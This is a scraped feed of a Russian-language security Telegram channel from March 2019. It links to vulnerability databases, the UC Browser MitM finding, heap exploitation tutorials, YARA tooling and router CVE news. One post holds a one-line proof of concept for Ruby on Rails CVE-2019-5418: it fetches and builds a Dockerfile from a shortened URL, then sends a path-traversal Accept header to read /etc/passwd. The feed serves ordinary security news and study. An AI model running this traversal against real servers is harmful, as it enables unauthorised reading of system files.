Телеграм канал ANTICHAT Channel

Смотрите "RE Challenge #3 (The final challenge - of this type)" на YouTube
https://youtu.be/YK3Vv5N68C8

Читать в телеграм

2019-03-30 23:17:34

Чуваки из Google сделали офигенный сервис!
Он наглядно показывает уязвимые участки кода у различных CVE (ну патчи, конечно же).
https://www.vulncode-db.com

Читать в телеграм

2019-03-30 21:21:09

Shodan запустили новый сервис для мониторинга устройств
Читать
Читать, если нет доступа к telegra.ph
#Новости

Читать в телеграм

2019-03-30 21:20:54

Ruby on Rails CVE-2019-5418 tweet-PoC
curl -sL goo.gl/NFR6fJ > /tmp/NFR6fJ; docker build -f /tmp/NFR6fJ -t 2019-5418 .; docker run -d --name 2019-5418 -p3000:3000 2019-5418; sleep 4; curl -H 'Accept: ../../../../../../../../etc/passwd{{' 'http://localhost:3000/robots';

Читать в телеграм

2019-03-30 17:51:44

Исследователи из DrWeb обнаружили проблему в механизме обновления отдельных библиотек UcBrowser, который делал это по http вместо https, надеясь на собственный протокол шифрования. Подпись устанавливаемых с сервера библиотек не проверялась. Это позволяло с помощью MitM’а загружать и выполнять свой код на Android устройствах пользователей.
Видео с демонстрацией: https://youtu.be/Nfns7uH03J8
Полное описание проблемы тут:
https://vms.drweb.ru/search/?q=UC%20Browser

Читать в телеграм

2019-03-30 17:51:35

Part 2 of Heap Exploitation series: Understanding the Glibc Heap: Free, Bins, Tcache https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/ #exploit #dukeBarman

Читать в телеграм

2019-03-30 17:51:14

mkYARA - generating YARA rules based on binary code https://github.com/fox-it/mkyara #ida #reverse #dukeBarman

Читать в телеграм

2019-03-30 17:51:08

Over 9,000 Cisco RV320/RV325 routers are vulnerable to CVE-2019-1653
https://badpackets.net/over-9000-cisco-rv320-rv325-routers-vulnerable-to-cve-2019-1653/#2019-03-28-update

Читать в телеграм

2019-03-30 15:52:57

Vulncode-DB – A vulnerable code database
https://www.evonide.com/vulncode-db-a-vulnerable-code-database/

Читать в телеграм

2019-03-30 15:52:56

Magecart
https://maxkersten.nl/binary-analysis-course/malware-analysis/magecart/

Читать в телеграм

2019-03-30 15:52:55